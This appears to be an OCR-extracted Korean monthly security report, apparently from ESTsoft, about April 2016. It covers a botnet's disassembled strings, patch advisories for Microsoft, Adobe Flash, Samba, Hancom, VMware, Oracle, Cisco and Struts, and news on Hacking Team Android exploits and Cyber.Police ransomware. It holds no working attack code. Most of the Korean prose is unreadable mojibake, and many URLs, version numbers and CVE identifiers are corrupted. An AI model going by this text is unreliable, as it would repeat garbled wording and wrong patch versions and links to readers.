MOU DUWORD PTR S55:[EBP-Bx81.8x3A1F2A4 ASCII "none"
MOU DUORD PTR 855: [EBP-Bx81.8x3A1F2AC ASCII "UNC'
MOU DUORD PTR S55:[EBP-Bx81.8x3A1F2BA ASCII 'TU"
PUSH BAx3A1F2B4 ASCII "wnc32"
PUSH Bx3A1F2BC ASCITI '"tu32"
B3A1C5ES |PUSH Bx3AiFA?A ASCII '"cannot get'
B3A1C64A | PUSH Bx3A1E49C ASCITI 'ed™
B3A1CBCY |PUSH Bx3A1F2C4 ASCII '"NAT'"
B3A1C928 | PUSH Bx3A1F2CE ASCII "uszer"

12p, VNC, AutoBackConnect, NATS £ get2 3517| st HAS A|=SHTT
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MOU EAX.Bx3A1EB18 UNICODE *
P [ (] 0 ar

A [l H b L}

26| CRCAH

I o

[

f1e C&C MH FAZ SIS Attt

sFv_name
<flitem>
<litem>
.do*
.com/f*®
.con
sFv_name
<flitem>
<litem>
W . .do*
W . .comf*®
.com
sFv_name
<flitem>
<litem>
W . .do=
W . .comf*®
.com
sFv_name
<flitem>
<litem>
W . .do=
oI f*
.com
sFv_name
<flitem>
<litem>
W . Du

72 27) W =

b

B0z WY Y2 % 7|2Y YEE 0/85i0] W2 |E

o
=
|.|-|
rok
o

ESTsoft
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3. &

ZIZ0|= Botnet AIEQ| QT EE= XIEXOZ QI [T QIC Botnet & 2 PC 2 FAE|0 Ql= L|EYT0|H, AFRX} S2i
AIAE!HI0] ESES 71X[11 QUL O] Botnet 2| ZEAZE= e-mail, SNS S 0] H2E 610 {57} =ICt

= I LUERI R TISE 7L QXITE FE A2
MEAIS0| 5| AtZot= QUES ERtX(0| TE= QS
ZWA g BaRXQ! Microsoft Edge HE8H SACCI s &

O| SH2 ArSAt W7 HE EF0|CH W FHE EE FloiM
2SIt £3| Windows 10 0] 22 HIEE|HA| MR=20| 2247t

SR 2R 2ME| 22 A eal= THE, ARBAE2 Ot 2| 2F-ES AZ0EE 210l e-mail, SNS £ AR S|

A F2IE VIS UL
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Part3. H2t Ol ER7|

°.|O| EO Ol'IT

2of0] &2 TOP Ols+

- M2 SLY 22 71 L0 Z2H[0|E] THes

al

HEKIX|F= Sol| 2271 20F SSHIO|EE 7Heittl HRACE 010 127 (012 471 2O CilO|E2L LE APIS2 S

1400 21 FHLUSACY, QIOFE5{7 12} SIFICIFZ & A12/2fF 6 F 33 T 5000 074 7HUE, 7|I0| A|20fE EFAIRE T
B7 EAPH ZihekE 0T 7t 80 HEO| HIg 2 HECT YR = =/ MiEE S LIHX| 1870 =0k EI0|H =
TAROZ JHASIT], TS THRIEEI F TStE &0l ST 7o | 2l ZARES] SHFEE HASK|RO| AS|=HEEH,
CHE ROl AR Hu= 2017 E5 22 OPH0|Ct,

H

- O|lA 24, ZHIY B0l JHPEE REALL

4 Ol A 24 20 ZTO[X| HEIFEOIA EHO K| FAHM| FEHSE R L S 27t BA== ALt
LI =M= OIZAL7H210] 2T01R 21 HEH0|= 0IF, Hels SO| HH=It LIEIEH, 2|0 AIS 2iHolH EE TE
O[S} BHEEE7 LIERHT. 23X o 2= 010 7#idE SEHOIEY,

- ANIE HOWIE 6 & SA|

= EOFIEE ANIEE YOR MiXlok= M22 2 AHe QIS +TH0| 6 2ol SAIEC: 22171=E XS | 2ot JHEE
HoFIE= Q1Y = HHIYE 5872E & [ ¥S 715610 Loig E2I= O|0|XIE 21H0| 22|2= YAOICE ==
=1l O 397} gl ¥ SHLE SN SS2= AZE o= Ul FEOIH. 8H0ME 2= 2=/ 7R 2oty
FloFdE ANE HRFIET H2holl & 4= /S A= 7|0 S0 AT

v '

- D2 -KISA'ZE M3 2I5M Kot 710|= HiE

TE ME UEM 2| ZeIE flet EE M3 QUSA 22t 710|=7t OFAZ|ICE 0|2fR= FE ME 2SN EEE] ALl
CHEZ7EK| MAER! HE S CHSH= '2E MY QISA HOt 710|='E OFAGH 7| AA R HO S HA, Hatet
UEE SR EA70|== QSN HEQISA ZE|AARYUMH|0|E HALRE Al S ZX|et 25t 4571 S=CZ O|R[A

ACH, FE ME AUSA ZF| A2t HH &= ME 23 LHZ0| Zat=h U,
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- SSO[0[T 2oF CHE st EI7|WH 2 Xt 215 2|F=}
[T =OF Zel TS SISt SR, O[0)| [t SSO0IH

22 CHO ‘0510 A=)
o= O oo =T -

QU2i5H= 1%t Q15 20l 5712 HQISIOIHAIS Sk Tf 74X0F SITL 25t 2152

CiE S e S 2712

YRR|FE SSOLOFH 2%tHQ g L
= Q5|2 AT (OTPIS ML SIEHT] THAQSO= CI2 £t

AEAIS2 7IE Olo[E{et HIR
AOEE OfS2A0RICZ I1I€- |

M= HIAl = ENSEA OICL

- S8 HOYEBSHA, 21 AT H3} | MSHEH M M
oS MR35 |2

= ASHEHS MBSHT UMY SOl TS W HEE A
:1 §-Al'(:'???'_'_j |"'+ EOF), *.J%’HERN l_o OEI:IZF

Z= ol
15151 SEEAP Of 2ot ADIRHEIAP I g TSl HSHS, o SIE APIE 29 iR o
HESNIS Mt S ZRSUPH QS THYRE DE MSYE0) TS| HHONSHE HET} 2stE 202

YR MEFHEE 2ol Bl 282V T 287142 St 2EHs Xi2lots 2= HEe HEEER

AFS ZHECHA

HOICt TRAE

TIEC.

— 2HAIQ|0| 2| DpRILT 'FOo|H' ol S48 QL

—— =

== AL =2 EE|1 H|0|E S SHEX| Zotk= A7t

£{7 290101 TISHS: ETSHECHS M0 2JZIRHCE} Bt
QIZIOF EASED QICH CHH-O] MRHAIS BIO|E 27 IOl OIE5H=E], 0] PHISS 277} Ol F7HS 5l= gz,
SHPOIPH| HIETOMS BN QISR 712 t.':*OrE?oI—“" T2 THAL 3= Z0[CH O[0fl AHBRISS QR0 22 Z0j
7H20ILt HIZS BES| NET, SRECHE ZINEIX| Q=S Ol H0F Sict
- ZUSEHS 2155} O Ch SH0| IS AR 'SY
20 WHE RS K| 24 0| 2 |28 W A K| 21 £0| 2 .= SEAHSO| FAIKQI HOR HRtsl=
FOISSHS0 Lo} 255E RXIS 32t 242 PABHL Ut FOIS2HS BQ0| Tf2} 10021 07 SBALS 231 KK,
510 &1 0[Ol [Tt} 7250 DB UB51H KMo AjaHEt SAISS

100 2t O SBAR= L 27| ZX|E 2=
O[X| DB £t Of|=t U= Sl= M= HEHO| L|O|E0| Lotk FRUSEHS/ I el AUCHH ASelS Moo it
CHE, ZHIEC| A2 100 2 O|2e| FUSEHS S ERo! A4, L S A= HEE 100 2HE Oy FRUSEHSS

BRI U0 A HEES S8APH = oI,

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.



Part3. H2t Ol ER7|

2ol FoFY Ol%

Microsoft 4 & 47| HQI SH[0|E

— Intemet Explorer £ 5% HQt HH|0|E(3148531)

0] 10t IHIOIEL Intemet Explorer ] £ICFSS: SZIBILICE O] S0 73 Aj245t £IPKIS ASAPH Intemet Explorer S
AKZ5101 S+ HIAHE 2 HOIXIS & A9 #7 TE A2 5183 4 USLICE 0] FI2H R0 AT3 B2KI= ity
AIEXIoH SUS MK} HEIS BS 4 QUSLICE SR ABAPH H2IR HEIOZ 2725 22, 0] F1Op 2480) 435t
TZRR= 3} H= AIABIS HOfE 4 UBLICE O S SHAY D2 IS MRBPILE BO[ES EAL BRIt
ARIBIAL, BE MK} HEI0] = M A BHS 4 QUSLICE

FnJ

— Microsoft Edge 2 =X HOt ¢H|0|E(3148532)

0] Ot AHIO|EL= Microsoft Edge @) FOHSS SHZIBHLICE, 0] FOIA 7 4215t FOHIS AP} Microsoft Edge S
AIZ5101 S2 HISHE 2 HOIXIS 2 29 247 T= M2 5123t 4 UBLITE 0] 2100 OIR0| HT5H BAKK= 517
QUBLITH AARIOIN Tf 2 AIZX} i3IS THKIZE T8 o) 124 B}

=
ARERI2} ST SR HBIS 212
H

AH
TR0 U= AEAIEC SefE B s + USLH.

o

~ Microsoft 12 -8 20] Chgt HOt AC|0|E(3148522)

0] H2F &H|0|E+= Microsoft Windows, Microsoft NET Framework, Microsoft Office, HIZL|AE Skype %! Microsoft Lync 2]
F[FMS SHZRILICE O] SOlA 718 AZbet FekE2 AI‘RXPF = HRE E2ME 7L E4 MiRFE 2elE =50 = 2

o= O

HOIXIS YRSH= A 97 T= M2 528 4 UALICH
~ NET Framework il L3t E9t HH|0]E(3148789)

FOPS 22 AJARIO| TSt A IS 7

— Microsoft Office 2 9t ¢H|0|E(3148775)

0| Hot HH|0|E: N\lcrosoftOfﬁceOI FlokdS dliz g.:. L|C O] SOlM 71 eIt FIFI2 AEA T E4= XXt Microsoft
Office IIAS S 2 T LS o188 o= USUCL O|2fet Foky A0 H58t SHXR= Xt ARSAtS] ZEAE|IA]

-Io
rio

ot 34

— — o= T TI1o T o
clolo] TEE Astet 2 QU ICk AAHO T 22 MK HIS 1SS THIE el T4 PRI HEIOR Hiple
UMt Heks 2 s 4 USLIC
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— Windows OLE 2 HOt §H|0|E(3146706)

0] KOt AHH|0 [E= Microsoft Windows 2| F[2Fd= SHZARILICE Windows OLE 7} M|CHE AFZA} Q22| K882 AAIGHK|
o= 42 0| FIPHO = QlH| HA = AlSH0| S1EE 4~ USLICL SAKXK= 02t FUHES U010 2 FES Alatist
2= QUELICE X2 SAKI= AEAP  E MIAE MY = 2 H|O|X[Lt MAL HY HAX|S] Z2THS s MHX
FSHOF HLCY,

.‘

— Windows Hyper-V & Hot 2H|0|E(3143118)

0] &9t {EO|E4= Microsoft Windows 2] F2AIZ SHZBILICE 0] S0 75 A1Ziet P2 HAE 291 HRle| QI5E
TR} Hyper-V SAE 22 HFOIA 2olo] FES AaoPH sl= S4 NS S8 TRIUS Mayst 20 #1 FC

A2 5183 4 UBLICE Hyper-V SIS AIBSIK| 24 D242 SBS 2K QLICH
- EX 27.20] Chst HOt 2IH0|=(3148538)

Of 22t FHI0|E= Microsoft Windows 2| F2F&S SHEEILICE 0] F2kd A0 &8t SAX= EeXIZ &9 T=2

Azt 4 QUL

- SAM ! LSAD 17 Z2EZ0] T3 HOt I0|E(3148527)

O] E2F M0 |E+= Microsoft Windows 2| F|2F4S SHEASILICH SAXE7F MITMOIAIX| 7 =27 [(man-in-the-middle)) 342
AlSHSH= AL 0] FPMOZ Qll #HSH M50| S1EE 4 JUSLICH I3 Ok 34Kt= ZHMZ RPC ZHEL| Q15 =

CIRT12|0|EE MRS CIEE AIRXIZ J1RkE 4 QIALCH
— CSRSS & =2t r|0[E(3148528)

0] £t AH|0|E= Microsoft Windows 2] FeFdS EH?E%.:,FLlI:t O] FIRFM2 BZRP | LA AJAEI]| 226t 5 E4~ KEf=
S8 D2T)HS Alloh= 4R 20t V|5 R2IE oife = UL

—HTTP.sys Ol CHSH HQt IHI01E(3148795)

0] 9t AEOEE Microsoft Windows © FIPSS SHZIBILICL 0] SIS B2 S4: HIAHE HTTP THZKS Che AAE0

A A MH|IA HEE 5188 4= UBLICE
— Adobe Flash Player 2 EQt HH|0|E(3154132)

0] HOt G0 [Ex X[El= 2= HF2| Windows 8.1, Windows Server 2012, Windows Server 2012 R2, Windows RT 8.1 &
Windows 10 0| A4X|=l Adobe Flash Player 2| [2FMS SHZASHICT
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OII

- o2y

Windows UpdateE £35t7{LI Microsoft EQt BX| Q2 AIO|EOA HY FUHS2| 7HH
OI2EE 9E = JUSULCH

14
re
=
i
H
me
o

St= : http://technet.microsoft.com/ko-kr/library/security/ms16-Apr
A& : https://technet.microsoft.com/en-us/library/security/ms16-Apr
Adobe Flash Player 217 2™ F=o| #H11

Adobe Flash Player 21.0.0.197 %! 0% H{F (Windows, Macintosh, Linux, Chrome OS)
FUMS 0|50 AIAR S= LM 2 H07t 7+S(CVE-2016-1019)

- SAMrER
Adobe Flash Player 2| M|=H[0| #2FH0| ZZ4E
HEIO0|E M2 48(FHXNZH MEE o

TR S451H| ZAE Flash THA0| THE HHOIX], A H2 S ARBKY | HO{HES Q5101 HTE QI Tks

|
ol

my
112

oflg F{E0| T 22t YH|0|1E7+ EE|X] D0t IfX|7} &IH = TH7HX] Flash Player AtS AHA|

Hef 22F YHI0IE 2E Al X SA|

ol

FloFHoll 2fet TISHE =017| #[o10] ABAtE HE 22 AMfElE &=
- HE|EIX]| o= E AO|ES| &= KA
- SXVI 2R3 0[HY R 23S BOEX| F

- AKZ5H Q= a2 0| Z|M HH0IES FAlotd, EARZE ZAIZ IS

m\o
fufok
¥
l?ﬂ

[EAIE]
https://helpx.adobe.com/security/products/flash—player/apsa16-01.html
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L2 B A= TS ZIH0| Flefet 4~ o0 SHZHR| M2t ZXMHHEOZ AHHI0|E AL
- MAMHE
Adobe Flash Player
ATEQH ity Fafi= HX
fobeFlasnPlayer TSR B | 2100197 2 O i
Desktop Runtime
Adobe Flash Player YTOX B | 1800333 O B
Extended Support Release
HEPX o
Adobe Flash Player S
— v 2sA, 2100197 % OF B
or e Chrome
3=0S
Adobe Flash Player
For Microsoft Edge and YER= 10 2000306 % O HX
Intemet Explorer 11
Adobe Flash Player
v YTexgl | 2000306 O B
for Intemet Explorer 11
Adobe Flash Player for Linux 2lsA 11.2.202.569 % O™ HH

Adobe Flash Player 2| 24 7H F2FE0]| CHot HOF YH[0|EE HE

T ATIRQ) BAS Sof M2 HE7|S 815t 4 s F(CVE-2016-1006)
- QIo|FE AsHo = 0]01E &= U= Type confusion FFE(CVE-2016-1015, C(VE-2016-1019)

- QIo|TFE AIBHOE 0[04&! 4 Ql= Use-Ater-Free FH&(CVE-2016-1011, CVE-2016-1013, CVE-2016-1016, CVE-2016~
1017,CVE-2016-1031)

- YUO|TE HHOR O[0! o~ U= M| &4f FFE(CVE-2016-1012, CVE-2016-1020, CVE-2016-1021, (VE-2016~-
1022, CVE-2016-1023, CVE-2016-1024, CVE-2016-1025, CVE-2016-1026, CVE-2016-1027, CVE-2016-1028, CVE-
20161029, CVE-2016-1032, CVE-2016-1033)

- 7 |Z0f| TR F2FH0]l Chet 2ot 23] FFH(CVE-2016-1030)
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. CIHEE| Z4M Z27} 2/0}510] LOIT= A30| 7155t FIOEH(CVE-2016-1014)

|'0II

- ofiZd

OII

Adobe Flash Player AF2X}

- 2IERX o 5H749| Adobe Flash Player desktop runtime AR2AR= 21.0.0.213 HECZ HH0|E M
—Adobe Flash Player Extended Support Release AF2AH= 180.0.343 HEHCE L|0|E XM

- A 21249] Adobe Flash Player AF2XE= 11.2.202,616 HEOZ AH0|E XL

—Windows 10 2! Windows 8.1 0iiA 712 3=, Microsoft Edge, QIE{Sll 2IASZ2{0]| Adobe Flash Player & AX[SH ARAR=
sz |4 HHO|EI ME

— 71 2| AF2XH= Adobe Flash Player Download Center(http:/ /www.adobe.com/go/getflash)0i] Eh2o10] 2R M MX|, X5
HOHI0|EE 0[50 Y1H|0|1=

[RIAI0|E] https://helpx.adobe.com/security/products/flash—player/apsb16-10.html

Samba F|2Fd HOt AGH|0|E A1

Samba AIE0{0flM BlSk= FFHES otiZet 22f YHI0IES EH

=
K2 BT AMSAI= MHIA HE S2 3 ST SZ0] F{efe o= U0 szt Tet 2k HHe= HH0IE
i
- SMEE

- SAMR 2t LSAD =2 EZ0|A] Lt SR 54 FAE(CVE-2016-2118)

- Badlock 22 HHE F|oFd

- DCE-RPC Code Oll2{= MH|A HEE FEret =~ = FAF(CVE-2015-5370)
- NTLMSSP Q15 S7IXt 32 FoFE(CVE-2016-2110)

- NETLOGON AfH|A AZLZ FOFR(CVE-2016-2111)

- LDAP At 2 S2}0[Q1E S7IKt &7 F[QR(CVE-2016-2112)

- TLS QIEAC| QEAS HBSIK| U= F[OFH(OVE-2016-2113)

- serversigning SM2| 22 isH= FFR(CVE-2016-2114)

- SMBIPC E2ii2] 7K} 324 FF(CVE-2016-2115)
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ol

Samba 4.1 O] AKX}

—Samba 4.1 O ARBAR= 4210 T = 42,11 HTCZ YHI0IE ME
Samba 4.2.0-4.2.9 AtEXt

-Samba4.2.0-429 M8z 4210 BT = 42,11 Q= HH|0|E &g
Samba 4.3.0-4.3.6 A2X}

-Samba 4.3.0-4.3.6 MEXt= 43.7 HH E= 43 8HTCE AH|0[E &
Samba 4.4.0 AEX}

-Samba4.4.0 ABXI= 441 W = 442 HEOZ AHI0|E ME

Samba History(https://www.samba.org/samba/history)0ll 2510{ 2t HT0f| = A HES
CIRZC 2ot MX|

[RITALO|E]
http://badlock org/
http:/ /www.samba.org/samba/history

SIHQIA 48 FI| HOF HOH[0|E #H1!

SIENHEFES| Of2iShE & 2U|A MF0f Cigh Hot H0|ES UHE
et s HTR AEA= AdZRE A0 FIofE - AEE, Of2H sHZURA0 M= ZRIHTCZ HHI0IE 4l

—
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- MR

[oHEf AR

ATEREH Sied ok gh= HH
S5 24 9604232 O KX
2= NEO 9.6.0.2871 O KX
SI4LIA NEO M NEO 9.6.0.3016 O HH
gt& NEO 9.6.0.3251 O] HH
SRI= 96.0.3326 O] HH
sS4 9.1.0.3198 04 HH
o= 9.1.0.3030 O] B
SEAQIIA 2014 VIP
ohd 9.1.0.3021 O] HH
ot 9.1.0.3098 O] B
& 24 85.8.1577 O] HH
o= 8581513 0] K
SRALIIA 2010
ohd 8581426 0] KT
St 8.5.8.1568 O] HIH
&3 94 7.5.12.746 O i
o= 7.512.754 OPH B
SRALIIA 2007
apd 7512811 O K™
=c0|1= 7.5.12.954 O B
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ol

SIENHFE] SHO[X|0A HIAMI0|E MAUS AP CI2EE 0t HX[S10] Fef | §h= HT(EH43)2= HHI01E

- C[[REE 42! http://www.hancom.com/downLoad.downPU.do?mecd=0050

SIEIARH XS HH|0|ES Sofl ZILHTCZ HH0|1E

~ A& — RE D224 — SIEUATE — 517 XI5 H0IE 2014
. SHENERH -
~ B a7 xS 260/= 2014

L SHELeIA 2014 VP
b ppoma g o mA N

UE XF ABUICIE

YUHOIE Y =T F..

3% X5 AGO|E
SAgoERJLL}

™ol

[RIIAO|E] [1] hittp:/ A, hancom.com/download.downPU.do?med=005

VMware o HH|0|E #H11

VMware = Sc10|2E Sgf 221121 R Hof 0|#S 22feh Hof YH0|1ES EH
A

Gelihs HTHC| AKZAR= 2l HHECE HH|0|E A

- ANEE
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Vmware S20|XE St Z2{71010{|A MM 22| 0522 215K, vSphere Web Client O|2X17} 244 ¢l AJ0|E HIZ A,
FZRSZAMITM)O|LE & MM SHO0|RHZ0] 7tsSH F2FE(CVE-2016-2076)

lsfHE= AT EO_"O-”

—

HiZ= HiE HH 0S 0S
6.0 25 69.U2*
5.5U3a~U3c 25 5.5.U3d*
vCenter Server
5.1 os o=
50 o= gels
8.0x Windows Hak Qg™
vCloud Director 56X Windows oS
555 Windows 5.56*
7X Linux oS
VRA Identity Appliance
624 Linux 6241*
E20|HE S5 227101 _ ) i )
Sh ot =k Windows, Mac OS i gt &

(Client Integration Plugin)
* A1 BT AIR] 3, RIS FR| AARIOIAO] S2I0IIE S5t S2{791 2fFj0jE Te

[

** S F{fSHHZ2| CIP (ient Integration Plugin)0ik= vCloud Director 8 0.0 2 EIRHEI0] UX| 2OLE AP £} HZ0ik= vCloud Director 80.1 0| EiAHE!

Had

ol

vCenter Server, vCloud Director, vRealize Automation Identity Appliance 0] CHS10] &F Bh= T ARZKIC| AL, 02l 21 0f|A

ZIZ} 2 S CHRE0LAX]
—vCenter Server: https://www.ymware.com/go/download-vsphere
—vCloud Director 5.5.6: https:/ /www.vmware.com/go/download/vcloud—director

—VMware vRealize Automation6.2.4.1:
https://my.vmware.com/web/vmware/info/slug/infrastructure_operations_management/vmware_vrealize_automation/6_

2
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vSphere Web Cleint 7t 0[8=l= AJARIC| S210|HE Sgt E2171212 HHI0|1E
—vSphere, vRA Identity Appliance 2| 221121 G0 |E i
—vCloud Director = vSphere Web Client 2IH|0|E & HZEH XI5 RIC0|E Al

[EIAIE]

hitp:/ Awwvmware.com/security/advisories/VIMSA-2016-0004.html
https://kbvmware.com/selfservice/microsites/search do?amd=displayKC&docType=kc&extemalld=2145066
http://cvemitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2076

2016 A 4 & Oracle Critical Patch Update 11

R2IZit CPU A XIAF HEE Q| HOERFE 203 7Hof| CiSt THXIE 2E[1][2][3]
* CPU(Critical Patch Update) : 2212 52 HOt HH|0|E
Sk = KOl A2X= AMTC ZI0)| {2kt 4= U202 Of2 sHZRRH| M2t ZAMHHMOZ AH|0|E #1

- SArEE

- S0P Z2E IS control A2 THEE FR, MH| MU|A HEE RSt 4 U= FOFH(CVE-2016-1285)[1]

- DNAME 2|44 YFES THISH= dFE0M ME|A HREE L = U= FIFECVE-2016-1286)12]

- DNS 77| X|20| 24stel MM 77| SMS Xloh= S AH|A HE HEVHE 4= U= FIUE(CVE-2016-2088)3]

[@l%t HE— AII E°_||0-|]

OO0 - 1——T

Oracle Database Server, version(s) 11.2.0.4,12.1.0.1,12.1.0.2

Oracle APl Gateway, version(s) 11.1.2.3.0,11.1.24.0

Oracle Bl Publisher, version(s) 12.2.1.0.0

Oracle Business Intelligence Enterprise Edition, version(s) 11.1.1.7.0,11.1.1.9.0,12.2.1.0.0
Oracle Exalogic Infrastructure, version(s) 1.0, 2.0

Oracle GlassFish Server, version(s) 2.1.1

Oracle HTTP Server, version(s) 12.1.2.0,12.1.30

Oracle iPlanet Web Proxy Server, version(s) 4.0

Oracle iPlanet Web Server, version(s) 7.0

Oracle OpenSSO, version(s) 3.0-0.7
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Oracle Outside In Technology, version(s) 8.5.0,8.5.1,8.5.2

Oracle Traffic Director, version(s) 11.1.1.7.0,11.1.1.9.0

Oracle Tuxedo, version(s) 12.1.1.0

Oracle WebCenter Sites, version(s) 11.1.1.8.0,12.2.1

Oracle WebLogic Server, version(s) 10.36,12.1.2,12.1.3,12.2.1

Oracle Application Testing Suite, version(s) 12.4.0.2,12.50.2

0SS Support Tools Oracle Explorer, version(s) 8.11.16.3.8

Oracle E-Business Suite, version(s) 12.1.1,12.1.2,12.1.3,12.23,12.24,12.2.5
Oracle Agile Engineering Data Management, version(s) 6.1.3.0,6.2.0.0

Oracle Agile PLM, version(s) 9.3.1.1,9.3.1.2,9.3.2,9.33

Oracle Complex Maintenance, Repair, and Overhaul, version(s) 12.1.1,12.1.2,12.13
Oracle Configurator, version(s) 12.1,12.2

Oracle Transportation Management, version(s) 6.1,6.2

PeopleSoft Enterprise HCM, version(s) 9.1,9.2

PeopleSoft Enterprise HCM ePerformance, version(s) 9.2

PeopleSoft Enterprise PeopleTools, version(s) 8, 8.53, 8.54, 855, 54

PeopleSoft Enterprise SCM, version(s) 9.1,9.2

JD Edwards EnterpriseOne Tools, version(s) 9.1,9.2

Siebel Applications, version(s) 8.1.1,82.2

Oracle Communications User Data Repository, version(s) 10.0.1

Oracle Retail MICROS ARS POS, version(s) 1.5

Oracle Retail MICROS (2, version(s) 9.89.0.0

Oracle Retail Xstore Point of Service, version(s) 5.0, 5.5,6.0,6.5,7.0,7.1

Oracle Life Sciences Data Hub, version(s) 2.1

Oracle FLEXCUBE Direct Banking, version(s) 12.0.2,12.0.3

Oracle Java SE, version(s) 6u113, 7u99, 8u77

Oracle Java SE Embedded, version(s) 8u77

Oracle JRockit, version(s) R28.3.9

Fujitsu M10-1, M10-4, M10-4S Servers, version(s) prior to XCP 2290

Oracle Ethemet Switch ES2-72, Oracle Ethemet Switch ES2-64, version(s) priorto 2.0.0.6
Solaris, version(s) 10,11.3

Solaris Cluster, version(s) 4.2

SPARC Enterprise M3000, M4000, M5000, M8000, MO00O0 Servers, version(s) prior to XCP 1121
Sun Storage Common Array Manager, version(s) 6.9.0

Oracle VM VirtualBox, version(s) prior to 4.3.36, priorto 5.0.18
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Sun Ray Software, version(s) 11.1

MySQL Enterprise Monitor, version(s) 3.0.25 and prior, 3.1.2 and prior

MySQL Server, version(s) 5.5.48 and prior, 5.6.29 and prior, 5.7.11 and prior

Oracle Berkeley DB, version(s) 11.2.5.0.32,11.2.5.1.29,11.2.5.2.42,11.2.53.28,12.1.60.35,12.1.6.1.26
Oracle Linux, version(s) 5,6,7

Fakh= AAHRIO| M| M= FIAMOIE[]2]BIE &=

- oz

"Oracle Critical Patch Update - April 2016" A1 2! IHX|AISES AESH HICIAL 2 QX219 $io|/AE S IHX| HE1][2][3]
JAVASE AFEAR= HX|E MIZQ| 2 HHI0|ES CHREC[4] B0t MX[SH7LL Java RHI0|E A5 2 NS A5

NS

[1] http:/ /mwww.orade.com/technetwork/security-advisory/cpuapr2016v3-2985753 himl

[2] http:/ /mmw.oradle.com/technetwork /topics/security/whatsnew;/bulletinapr2016-2952098 html
[3] http:/ /mww.orade.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html

[4] hittp:/ Avvw.oradle.com/technetwork /java/javase/downloads/index html

[5] http:/ /wwwijava.com/ko/download/help/java_updatexml

CISCO XiE =2t AHO0|E A1

Apple IHOfIM XA RIS F2FRS offiZeh 22t I11IOIE SAl
Ed

SZXP} FES 012510 DjohS ZHAIZ == 0] oIS Apple HIES AFE5I= OIBXIS2 ZRIHTCE HH|0|E
il
- MR

- AAT 2M 2 EZ2 2| QIEH0A DoS FIAH(CVE-2016-1362)1]

- AJAT ASA ATEQ||04(Adaptive Security Applicance) DHCPv6 Z12|0] DoS F{HR(CVE-2016-1367)[2]
- NAT M2 HEZ DoS FIFH(CVE-2016-1364)3]

- NAT M AEZ hitp THY DoS FIFE(CVE-2016-1363)4]

- AIAT HIZ (ibSRTP DoS FI2FH(CVE-2015-6360)[5]
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[01%I= HE= ATT EO_"O-”

oo = T

—

FEIAO|E0| HAIE|0] Qb= ‘Affected Products' E Sall F{2fet KIE

Jot

- ofigdd

£

Rl

23X= A HHE Solt] I M X HIAMOIE

0

[RUALO|E]

[1] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ cisco-sa-20160420-wic

[2] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ disco—sa—20160420-asa—dhapvé
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ dsco-sa-20160420-bdos

[4] hitps:/ /tools cisco.com/security/center/content/CiscoSecurityAdvisory/ cisco-sa-20160420-htrd

[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/dsco-sa—20160420-ibsrtp

Apache Struts2 = L[0|E H11

Apache Struts 2 0ilM B2 TE= &34 FoFH S5 H2A5H 2ot YH|01E LH[1]12]
St = TR AMEA= ZiMHHC= HH|0|E Y

- A

2:

2| AE M3 F{OFF(CVE-2016-3081, (VE-2016-3082) [3]l4]

L

o

[a—

OISt HE= AIT E°_||0-|]

OO0 - L——T

- Struts 2.0.0~Struts 2.3.28(2.3.20.3 & 2.3.24.3 H[2J)

o
I

!

Struts 2.3.20.3,2.3.24.3,2.3.28.1 2 YH0|E

[EIAIE]

[1] http://struts.apache.org/download cgitistruts 23281

[2] hitp://struts.apache.org/docs/version—notes—23281.html
(3] http://struts.apache org/docs/s2-031 html

[4] hitp:/ /struts apache org/docs/s2-032 il
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1. 30|

Hacking Team & X|HZ=Q| QtE20|=E E210|HHI0| AUAZZ9l H,

gI-HI' | 2I'§ %

Active drive—by exploits critical Android bugs, care of Hacking Team

Q0| HEE HFHOIRAE G+ 20| [M2H, I=Z0|= T X[HEQ FAFS 2l 2l TS =F10]2 HIO|
SZ0| YIS REAZ | ACE
ofid THTIS2 O | +-H2HE0[ AFE SOIH.

0| SZ0l= QI==0|= 4.0~4.3 K| B0 F JHX|2Q| X|BHOQI FAFHS LIS UM, SHAHUA| FH|SH oot EHelE =
Towelroot AAEZIE 047 0f] SHHSICT.

0] YASZQl F== K|t 7 2 O|Z2|0F Hacking Team 0N REE! OIEZ0|= 4 AJEEES 0| 7I42 A= HOICY,
I+ EE0| =M, QIE=0|E 4.4 HTQ| 717| 5t CHE FE MS SHo ZBEUS T AUCE

QIER0|= F{oPHO| AF| E2/0]= Hio| SHOR 0[0fX 2 HSOIT
AU7H 20| QIER0|E ORYTEL ASAIR 5101Z Ut WS 7HISH oK US MRIGHES S0K= A4 AXILIOTY
B7{02 0|20fL,

Blue Coat Systems Oll2f3H 27451 E2/0]= 0| S22 HOIE K|t 60 22+ BSZ01 AE0|D, 2HH6| RIS 7|7 U
ARG} QIEFN0| TR 97| IH20 2 Bt it

Zimeprium 2| S 1 X FI2F REY Joshua Drake =TH? Huldt SZHO= HOICE, 0] SZH0| B3t 07, LIZER
BR|=f= ATER 0] LHO| FF™S Ol =2 AREAL 71712 x| Heks &7 IH=Z0|C

L{7t OF= ot 0| SZ2 FIFHSS 0I5l A==0|= AEXE =2 XN &K DBD SZ{0|Ct. sy 40| 2tA2| FfHSS
OZ5h= I, 2tE20|= MAIQ| SAXIS2| T HSIS LIEFHCE I TS

Drake 2| B7h= 21 I E=E 2Rl 211 i 20|, siiE Z== Blue Coat Q| ZEA|E AFGH IS Sof| Z4HE
A=Z0|= 422 7F SEfok= 2id EFER0IN ZAZIICE

Blue Coat =71 H[O[E{0]| (=T, AI=Z0|E 4x R 447t SEok= MOk 224 7 AEZ0(= 7|7|S0] ZE=IRUCE

olid FHHZS2 Blue Coat 22t AHIAM 2S6k= 7770 MZLE 7[Y HIERTZ HZE A7 | HE0, ol HIO|E=
TR QIEIS AUIMS| & Y 2| = RS LIEFE ZO0IE,

NorthBit 2 t=Z0|= 50,5.1 S ARBok= 23 HIES| t=Z0|= 717, CHEF 2.35 A THO| 7177 O[0]| F2Feh Z0[2 =LKL
OFETRK| =1} 77| HIZEAS2 0|2t 2Efol0] BHE SIS LSK| 252 SEHO|C
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Cyber.Police

Blue Coat 2| F2fet ESZCZ by EH|O|X[0f| 2ol 71717} Cyber.Police 2111 =2t= 00 ==l 2=,
oliE U2 HO|= 12 HFE REZUCH, 2 =L AP0 CHEH %] ZX[0]| ChoH 15N SHt B= 0kl $100 M2 O
OIE= 7|2E 7IE2 HES KIS0I== oitt.

